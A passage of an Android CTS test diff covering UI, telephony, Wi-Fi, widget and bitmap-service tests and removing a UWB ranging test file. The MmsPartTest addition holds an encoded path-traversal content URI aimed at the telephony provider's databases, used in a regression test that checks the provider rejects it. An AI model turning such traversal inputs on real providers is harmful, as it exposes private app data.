+472,21 @@ class CameraMicIndicatorsPermissionTest { } } + private fun isChipPresent(): Boolean { + var chipFound = false + try { + eventually { + val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID)) + assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip) + privacyChip.click() + chipFound = true + } + } catch (e: Exception) { + // Handle more gracefully after + } + return chipFound + } + private fun pressBack() { uiDevice.pressBack() waitForIdle() diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl index b9694c32af7..24e55c5cc79 100644 --- a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl +++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl @@ -22,4 +22,5 @@ interface IBitmapService { int getAllocationSize(in BitmapWrapper bitmap); boolean didReceiveBitmap(in BitmapWrapper bitmap); boolean ping(); + void exit(); } diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java index c532e05e906..ec39ab0640b 100644 --- a/tests/tests/security/src/android/security/cts/BitmapService.java +++ b/tests/tests/security/src/android/security/cts/BitmapService.java @@ -40,6 +40,11 @@ public class BitmapService extends Service { public boolean ping() { return true; } + + @Override + public void exit() { + System.exit(0); + } }; @Nullable diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java index e824deb2e74..05273661eed 100644 --- a/tests/tests/security/src/android/security/cts/BitmapTest.java +++ b/tests/tests/security/src/android/security/cts/BitmapTest.java @@ -25,11 +25,12 @@ import android.graphics.Bitmap; import android.os.BadParcelableException; import android.os.IBinder; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import androidx.test.platform.app.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + import com.google.common.util.concurrent.AbstractFuture; import org.junit.After; @@ -80,8 +81,10 @@ public class BitmapTest extends StsExtraBusinessLogicTestCase { public void tearDown() { if (mRemoteConnection != null) { final Context context = mInstrumentation.getContext(); - context.stopService(mIntent); context.unbindService(mRemoteConnection); + try { + mRemote.exit(); + } catch (Exception ex) { } mRemote = null; mRemoteConnection = null; } @@ -94,8 +97,7 @@ public class BitmapTest extends StsExtraBusinessLogicTestCase { mIntent.setComponent(new ComponentName( "android.security.cts", "android.security.cts.BitmapService")); mRemoteConnection = new PeerConnection(); - context.bindService(mIntent, mRemoteConnection, - Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT); + context.bindService(mIntent, mRemoteConnection, Context.BIND_AUTO_CREATE); mRemote = mRemoteConnection.get(); } return mRemote; diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java index d7bc9b15896..e2fdef7ed9d 100644 --- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java +++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java @@ -5095,8 +5095,12 @@ public class TelephonyManagerTest { .adoptShellPermissionIdentity("android.permission.MODIFY_PHONE_STATE"); try { mTelephonyManager.setSimSlotMapping(simSlotMapping); - } catch (IllegalArgumentException e) { - fail("Not Expected Fail, Error in setSimSlotMapping :" + e); + } catch (IllegalArgumentException | IllegalStateException e) { + // if HAL version is less than 2.0, vendors may not have implemented API, + // skipping the failure. + if (mRadioVersion >= RADIO_HAL_VERSION_2_0) { + fail("Not Expected Fail, Error in setSimSlotMapping :" + e); + } } List<UiccSlotMapping> slotMappingList = new ArrayList<>(); diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java index 00e4dfe157a..fc5bbbd0ca9 100644 --- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java +++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java @@ -29,6 +29,8 @@ import android.database.Cursor; import android.net.Uri; import android.provider.Telephony; +import com.android.compatibility.common.util.ApiTest; + import org.junit.AfterClass; import org.junit.Before; import org.junit.BeforeClass; @@ -127,6 +129,20 @@ public class MmsPartTest { } + /** + * Verifies uri path outside the directory of mms parts is not allowed. + */ + @Test + @ApiTest(apis = "com.android.providers.telephony.MmsProvider#update") + public void testMmsPartUpdate_invalidUri() { + ContentValues cv = new ContentValues(); + Uri uri = Uri.parse("content://mms/resetFilePerm/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.." + + "%2F..%2F..%2F..%2F..%2Fdata%2Fuser_de%2F0%2Fcom.android.providers.telephony" + + "%2Fdatabases"); + int cursorUpdate = mContentResolver.update(uri, cv, null, null); + assertThat(cursorUpdate).isEqualTo(0); + } + @Test public void testMmsPartDelete_canDeleteById() { Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE); diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml index a9e9535ad5f..ba1205e5306 100644 --- a/tests/tests/view/AndroidManifest.xml +++ b/tests/tests/view/AndroidManifest.xml @@ -416,6 +416,7 @@ </activity> <activity android:name="android.view.cts.InputEventInterceptTestActivity" + android:theme="@style/no_starting_window" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN"/> diff --git a/tests/tests/view/res/values/themes.xml b/tests/tests/view/res/values/themes.xml index e44b58a7e9c..6579108e7b0 100644 --- a/tests/tests/view/res/values/themes.xml +++ b/tests/tests/view/res/values/themes.xml @@ -20,4 +20,8 @@ <item name="android:textAppearanceLarge">@android:style/TextAppearance.Material.Large</item> </style> + <style name="no_starting_window" parent="@android:style/Theme.DeviceDefault"> + <item name="android:windowDisablePreview">true</item> + </style> + </resources>
\ No newline at end of file diff --git a/tests/tests/widget/res/layout/numberpicker_layout.xml b/tests/tests/widget/res/layout/numberpicker_layout.xml index 7c6dfb40534..dd283244b92 100644 --- a/tests/tests/widget/res/layout/numberpicker_layout.xml +++ b/tests/tests/widget/res/layout/numberpicker_layout.xml @@ -19,7 +19,8 @@ xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/container" android:layout_width="match_parent" - android:layout_height="wrap_content" + android:layout_height="match_parent" + android:gravity="center" android:orientation="vertical"> <NumberPicker diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java index eecc071d0a3..6f085879f0a 100644 --- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java +++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java @@ -376,7 +376,7 @@ public class NumberPickerTest { numberPickerMiddleX, numberPickerStartY, 0, - screenHeight - numberPickerStartY); // drag down to the bottom of the screen. + mNumberPicker.getHeight()); // drag down to the bottom of the screen. Assert.assertTrue("Expected to get to IDLE state within 5 seconds", latch.await(5, TimeUnit.SECONDS)); @@ -444,7 +444,7 @@ public class NumberPickerTest { numberPickerMiddleX, numberPickerEndY, 0, - -(numberPickerEndY)); // drag up to the top of the screen. + -(mNumberPicker.getHeight())); // drag up to the top of the screen. Assert.assertTrue("Expected to get to IDLE state within 5 seconds", latch.await(5, TimeUnit.SECONDS)); } catch (Throwable t) { diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java index 464a24b6b41..474d48840aa 100644 --- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java +++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java @@ -2912,13 +2912,6 @@ public class WifiManagerTest extends WifiJUnit3TestBase { verifySetGetSoftApConfig(softApConfigBuilder.build()); } - // Test 11 AX control config. - if (callback.getCurrentSoftApCapability() - .areFeaturesSupported(SoftApCapability.SOFTAP_FEATURE_IEEE80211_AX)) { - softApConfigBuilder.setIeee80211axEnabled(true); - verifySetGetSoftApConfig(softApConfigBuilder.build()); - } - // Test 11 BE control config if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) { if (callback.getCurrentSoftApCapability() @@ -2929,6 +2922,12 @@ public class WifiManagerTest extends WifiJUnit3TestBase { } if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S)) { + // Test 11 AX control config. + if (callback.getCurrentSoftApCapability() + .areFeaturesSupported(SoftApCapability.SOFTAP_FEATURE_IEEE80211_AX)) { + softApConfigBuilder.setIeee80211axEnabled(true); + verifySetGetSoftApConfig(softApConfigBuilder.build()); + } softApConfigBuilder.setBridgedModeOpportunisticShutdownEnabled(false); verifySetGetSoftApConfig(softApConfigBuilder.build()); } @@ -3912,6 +3911,14 @@ public class WifiManagerTest extends WifiJUnit3TestBase { @SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU) public void testActiveCountryCodeChangedCallback() throws Exception { + if (!hasLocationFeature()) { + // skip the test if location is not supported + return; + } + if (!isLocationEnabled()) { + fail("Please enable location for this test - since country code is not available" + + " when location is disabled!"); + } TestActiveCountryCodeChangedCallback testCountryCodeChangedCallback = new TestActiveCountryCodeChangedCallback(); TestExecutor executor = new TestExecutor(); diff --git a/tests/uwb/src/android/uwb/cts/RangingSessionTest.java b/tests/uwb/src/android/uwb/cts/RangingSessionTest.java deleted file mode 100644 index ef651da34da..00000000000 --- a/tests/uwb/src/android/uwb/cts/RangingSessionTest.java +++ /dev/null @@ -1,637 +0,0 @@ -/* - * Copyright (C) 2021 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.uwb.cts; - -import static android.uwb.RangingSession.Callback.REASON_BAD_PARAMETERS; - -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; -import static org.mockito.ArgumentMatchers.any; -import static org.mockito.ArgumentMatchers.anyInt; -import static org.mockito.ArgumentMatchers.eq; -import static org.mockito.Mockito.doAnswer; -import static org.mockito.Mockito.mock; -import static org.mockito.Mockito.times; -import static org.mockito.Mockito.verify; - -import android.content.AttributionSource; -import android.os.PersistableBundle; -import android.os.Process; -import android.os.RemoteException; -import android.uwb.IUwbAdapter; -import android.uwb.RangingReport; -import android.uwb.RangingSession; -import android.uwb.SessionHandle; -import android.uwb.UwbAddress; - -import androidx.test.ext.junit.runners.AndroidJUnit4; -import androidx.test.filters.SmallTest; - -import org.junit.Test; -import org.junit.runner.RunWith; -import org.mockito.invocation.InvocationOnMock; -import org.mockito.stubbing.Answer; - -import java.util.concurrent.Executor; - -/** - * Test of {@link RangingSession}. - */ -@SmallTest -@RunWith(AndroidJUnit4.class) -public class RangingSessionTest { - private static final Executor EXECUTOR = UwbTestUtils.getExecutor(); - private static final PersistableBundle PARAMS = new PersistableBundle(); - private static final UwbAddress UWB_ADDRESS = UwbAddress.fromBytes(new byte[] {0x00, 0x56}); - private static final @RangingSession.Callback.Reason int REASON = - RangingSession.Callback.REASON_GENERIC_ERROR; - private static final int UID = Process.myUid(); - private static final String PACKAGE_NAME = "com.uwb.test"; - private static final AttributionSource ATTRIBUTION_SOURCE = - new AttributionSource.Builder(UID).setPackageName(PACKAGE_NAME).build(); - private static final int HANDLE_ID = 12; - private static final int PID = Process.myPid(); - - @Test - public void testOnRangingOpened_OnOpenSuccessCalled() { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - verifyOpenState(session, false); - - session.onRangingOpened(); - verifyOpenState(session, true); - - // Verify that the onOpenSuccess callback was invoked - verify(callback, times(1)).onOpened(eq(session)); - verify(callback, times(0)).onClosed(anyInt(), any()); - } - - @Test - public void testOnRangingOpened_OnServiceDiscoveredConnectedCalled() { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - verifyOpenState(session, false); - - session.onRangingOpened(); - verifyOpenState(session, true); - - // Verify that the onOpenSuccess callback was invoked - verify(callback, times(1)).onOpened(eq(session)); - verify(callback, times(0)).onClosed(anyInt(), any()); - - session.onServiceDiscovered(PARAMS); - verify(callback, times(1)).onServiceDiscovered(eq(PARAMS)); - - session.onServiceConnected(PARAMS); - verify(callback, times(1)).onServiceConnected(eq(PARAMS)); - } - - - @Test - public void testOnRangingOpened_CannotOpenClosedSession() { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - - session.onRangingOpened(); - verifyOpenState(session, true); - verify(callback, times(1)).onOpened(eq(session)); - verify(callback, times(0)).onClosed(anyInt(), any()); - - session.onRangingClosed(REASON, PARAMS); - verifyOpenState(session, false); - verify(callback, times(1)).onOpened(eq(session)); - verify(callback, times(1)).onClosed(anyInt(), any()); - - // Now invoke the ranging started callback and ensure the session remains closed - session.onRangingOpened(); - verifyOpenState(session, false); - verify(callback, times(1)).onOpened(eq(session)); - verify(callback, times(1)).onClosed(anyInt(), any()); - } - - @Test - public void testOnRangingClosed_OnClosedCalledWhenSessionNotOpen() { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - verifyOpenState(session, false); - - session.onRangingClosed(REASON, PARAMS); - verifyOpenState(session, false); - - // Verify that the onOpenSuccess callback was invoked - verify(callback, times(0)).onOpened(eq(session)); - verify(callback, times(1)).onClosed(anyInt(), any()); - } - - @Test - public void testOnRangingClosed_OnClosedCalled() { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - session.onRangingStarted(PARAMS); - session.onRangingClosed(REASON, PARAMS); - verify(callback, times(1)).onClosed(anyInt(), any()); - - verifyOpenState(session, false); - session.onRangingClosed(REASON, PARAMS); - verify(callback, times(2)).onClosed(anyInt(), any()); - } - - @Test - public void testOnRangingResult_OnReportReceivedCalled() { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - verifyOpenState(session, false); - - session.onRangingStarted(PARAMS); - verifyOpenState(session, true); - - RangingReport report = UwbTestUtils.getRangingReports(1); - session.onRangingResult(report); - verify(callback, times(1)).onReportReceived(eq(report)); - } - - @Test - public void testStart_CannotStartIfAlreadyStarted() throws RemoteException { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any()); - session.onRangingOpened(); - - session.start(PARAMS); - verify(callback, times(1)).onStarted(any()); - - // Calling start again should throw an illegal state - verifyThrowIllegalState(() -> session.start(PARAMS)); - verify(callback, times(1)).onStarted(any()); - } - - @Test - public void testStop_CannotStopIfAlreadyStopped() throws RemoteException { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any()); - doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any()); - session.onRangingOpened(); - session.start(PARAMS); - - verifyNoThrowIllegalState(session::stop); - verify(callback, times(1)).onStopped(anyInt(), any()); - - // Calling stop again should throw an illegal state - verifyThrowIllegalState(session::stop); - verify(callback, times(1)).onStopped(anyInt(), any()); - } - - @Test - public void testStop_CannotStopIfOpenFailed() throws RemoteException { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any()); - doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any()); - session.onRangingOpened(); - session.start(PARAMS); - - verifyNoThrowIllegalState(() -> session.onRangingOpenFailed(REASON_BAD_PARAMETERS, PARAMS)); - verify(callback, times(1)).onOpenFailed( - REASON_BAD_PARAMETERS, PARAMS); - - // Calling stop again should throw an illegal state - verifyThrowIllegalState(session::stop); - verify(callback, times(0)).onStopped(anyInt(), any()); - } - - @Test - public void testCallbacks_OnlyWhenOpened() throws RemoteException { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - doAnswer(new OpenAnswer(session)).when(adapter).openRanging( - any(), any(), any(), any(), any()); - doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any()); - doAnswer(new ReconfigureAnswer(session)).when(adapter).reconfigureRanging(any(), any()); - doAnswer(new PauseAnswer(session)).when(adapter).pause(any(), any()); - doAnswer(new ResumeAnswer(session)).when(adapter).resume(any(), any()); - doAnswer(new ControleeAddAnswer(session)).when(adapter).addControlee(any(), any()); - doAnswer(new ControleeRemoveAnswer(session)).when(adapter).removeControlee(any(), any()); - doAnswer(new DataSendAnswer(session)).when(adapter).sendData(any(), any(), any(), any()); - doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any()); - doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any()); - - verifyThrowIllegalState(() -> session.reconfigure(PARAMS)); - verify(callback, times(0)).onReconfigured(any()); - verifyOpenState(session, false); - - session.onRangingOpened(); - verifyOpenState(session, true); - verify(callback, times(1)).onOpened(any()); - verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS)); - verify(callback, times(1)).onReconfigured(any()); - verifyThrowIllegalState(() -> session.pause(PARAMS)); - verify(callback, times(0)).onPaused(any()); - verifyThrowIllegalState(() -> session.resume(PARAMS)); - verify(callback, times(0)).onResumed(any()); - verifyNoThrowIllegalState(() -> session.addControlee(PARAMS)); - verify(callback, times(1)).onControleeAdded(any()); - verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS)); - verify(callback, times(1)).onControleeRemoved(any()); - verifyThrowIllegalState(() -> session.sendData( - UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1})); - verify(callback, times(0)).onDataSent(any(), any()); - - session.onRangingStartFailed(REASON_BAD_PARAMETERS, PARAMS); - verifyOpenState(session, true); - verify(callback, times(1)).onStartFailed( - REASON_BAD_PARAMETERS, PARAMS); - - session.onRangingStarted(PARAMS); - verifyOpenState(session, true); - verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS)); - verify(callback, times(2)).onReconfigured(any()); - verifyNoThrowIllegalState(() -> session.reconfigure(null)); - verify(callback, times(1)).onReconfigureFailed( - eq(REASON_BAD_PARAMETERS), any()); - verifyNoThrowIllegalState(() -> session.pause(PARAMS)); - verify(callback, times(1)).onPaused(any()); - verifyNoThrowIllegalState(() -> session.pause(null)); - verify(callback, times(1)).onPauseFailed( - eq(REASON_BAD_PARAMETERS), any()); - verifyNoThrowIllegalState(() -> session.resume(PARAMS)); - verify(callback, times(1)).onResumed(any()); - verifyNoThrowIllegalState(() -> session.resume(null)); - verify(callback, times(1)).onResumeFailed( - eq(REASON_BAD_PARAMETERS), any()); - verifyNoThrowIllegalState(() -> session.addControlee(PARAMS)); - verify(callback, times(2)).onControleeAdded(any()); - verifyNoThrowIllegalState(() -> session.addControlee(null)); - verify(callback, times(1)).onControleeAddFailed( - eq(REASON_BAD_PARAMETERS), any()); - verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS)); - verify(callback, times(2)).onControleeRemoved(any()); - verifyNoThrowIllegalState(() -> session.removeControlee(null)); - verify(callback, times(1)).onControleeRemoveFailed( - eq(REASON_BAD_PARAMETERS), any()); - verifyNoThrowIllegalState(() -> session.sendData( - UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1})); - verify(callback, times(1)).onDataSent(any(), any()); - verifyNoThrowIllegalState(() -> session.sendData( - null, PARAMS, new byte[] {0x05, 0x1})); - verify(callback, times(1)).onDataSendFailed( - eq(null), eq(REASON_BAD_PARAMETERS), any()); - - session.onDataReceived(UWB_ADDRESS, PARAMS, new byte[] {0x5, 0x7}); - verify(callback, times(1)).onDataReceived( - UWB_ADDRESS, PARAMS, new byte[] {0x5, 0x7}); - session.onDataReceiveFailed(UWB_ADDRESS, REASON_BAD_PARAMETERS, PARAMS); - verify(callback, times(1)).onDataReceiveFailed( - UWB_ADDRESS, REASON_BAD_PARAMETERS, PARAMS); - - session.stop(); - verifyOpenState(session, true); - verify(callback, times(1)).onStopped(REASON, PARAMS); - - verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS)); - verify(callback, times(3)).onReconfigured(any()); - verifyThrowIllegalState(() -> session.pause(PARAMS)); - verify(callback, times(1)).onPaused(any()); - verifyThrowIllegalState(() -> session.resume(PARAMS)); - verify(callback, times(1)).onResumed(any()); - verifyNoThrowIllegalState(() -> session.addControlee(PARAMS)); - verify(callback, times(3)).onControleeAdded(any()); - verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS)); - verify(callback, times(3)).onControleeRemoved(any()); - verifyThrowIllegalState(() -> session.sendData( - UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1})); - verify(callback, times(1)).onDataSent(any(), any()); - - session.close(); - verifyOpenState(session, false); - verify(callback, times(1)).onClosed(REASON, PARAMS); - - verifyThrowIllegalState(() -> session.reconfigure(PARAMS)); - verify(callback, times(3)).onReconfigured(any()); - verifyThrowIllegalState(() -> session.pause(PARAMS)); - verify(callback, times(1)).onPaused(any()); - verifyThrowIllegalState(() -> session.resume(PARAMS)); - verify(callback, times(1)).onResumed(any()); - verifyThrowIllegalState(() -> session.addControlee(PARAMS)); - verify(callback, times(3)).onControleeAdded(any()); - verifyThrowIllegalState(() -> session.removeControlee(PARAMS)); - verify(callback, times(3)).onControleeRemoved(any()); - verifyThrowIllegalState(() -> session.sendData( - UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1})); - verify(callback, times(1)).onDataSent(any(), any()); - } - - @Test - public void testClose_NoCallbackUntilInvoked() throws RemoteException { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - session.onRangingOpened(); - - // Calling close multiple times should invoke closeRanging until the session receives - // the onClosed callback. - int totalCallsBeforeOnRangingClosed = 3; - for (int i = 1; i <= totalCallsBeforeOnRangingClosed; i++) { - session.close(); - verifyOpenState(session, true); - verify(adapter, times(i)).closeRanging(handle); - verify(callback, times(0)).onClosed(anyInt(), any()); - } - - // After onClosed is invoked, then the adapter should no longer be called for each call to - // the session's close. - final int totalCallsAfterOnRangingClosed = 2; - for (int i = 1; i <= totalCallsAfterOnRangingClosed; i++) { - session.onRangingClosed(REASON, PARAMS); - verifyOpenState(session, false); - verify(adapter, times(totalCallsBeforeOnRangingClosed)).closeRanging(handle); - verify(callback, times(i)).onClosed(anyInt(), any()); - } - } - - @Test - public void testClose_OnClosedCalled() throws RemoteException { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any()); - session.onRangingOpened(); - - session.close(); - verify(callback, times(1)).onClosed(anyInt(), any()); - } - - @Test - public void testClose_CannotInteractFurther() throws RemoteException { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any()); - session.close(); - - verifyThrowIllegalState(() -> session.start(PARAMS)); - verifyThrowIllegalState(() -> session.reconfigure(PARAMS)); - verifyThrowIllegalState(() -> session.stop()); - verifyNoThrowIllegalState(() -> session.close()); - } - - @Test - public void testOnRangingResult_OnReportReceivedCalledWhenOpen() { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - - assertFalse(session.isOpen()); - session.onRangingStarted(PARAMS); - assertTrue(session.isOpen()); - - // Verify that the onReportReceived callback was invoked - RangingReport report = UwbTestUtils.getRangingReports(1); - session.onRangingResult(report); - verify(callback, times(1)).onReportReceived(report); - } - - @Test - public void testOnRangingResult_OnReportReceivedNotCalledWhenNotOpen() { - SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - - assertFalse(session.isOpen()); - - // Verify that the onReportReceived callback was invoked - RangingReport report = UwbTestUtils.getRangingReports(1); - session.onRangingResult(report); - verify(callback, times(0)).onReportReceived(report); - } - - private void verifyOpenState(RangingSession session, boolean expected) { - assertEquals(expected, session.isOpen()); - } - - private void verifyThrowIllegalState(Runnable runnable) { - try { - runnable.run(); - fail(); - } catch (IllegalStateException e) { - // Pass - } - } - - private void verifyNoThrowIllegalState(Runnable runnable) { - try { - runnable.run(); - } catch (IllegalStateException e) { - fail(); - } - } - - abstract class AdapterAnswer implements Answer { - protected RangingSession mSession; - - protected AdapterAnswer(RangingSession session) { - mSession = session; - } - } - - class OpenAnswer extends AdapterAnswer { - OpenAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - PersistableBundle argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onRangingOpened(); - } else { - mSession.onRangingOpenFailed(REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class StartAnswer extends AdapterAnswer { - StartAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - PersistableBundle argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onRangingStarted(PARAMS); - } else { - mSession.onRangingStartFailed(REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class ReconfigureAnswer extends AdapterAnswer { - ReconfigureAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - PersistableBundle argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onRangingReconfigured(PARAMS); - } else { - mSession.onRangingReconfigureFailed(REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class PauseAnswer extends AdapterAnswer { - PauseAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - PersistableBundle argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onRangingPaused(PARAMS); - } else { - mSession.onRangingPauseFailed(REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class ResumeAnswer extends AdapterAnswer { - ResumeAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - PersistableBundle argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onRangingResumed(PARAMS); - } else { - mSession.onRangingResumeFailed(REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class ControleeAddAnswer extends AdapterAnswer { - ControleeAddAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - PersistableBundle argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onControleeAdded(PARAMS); - } else { - mSession.onControleeAddFailed(REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class ControleeRemoveAnswer extends AdapterAnswer { - ControleeRemoveAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - PersistableBundle argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onControleeRemoved(PARAMS); - } else { - mSession.onControleeRemoveFailed(REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class 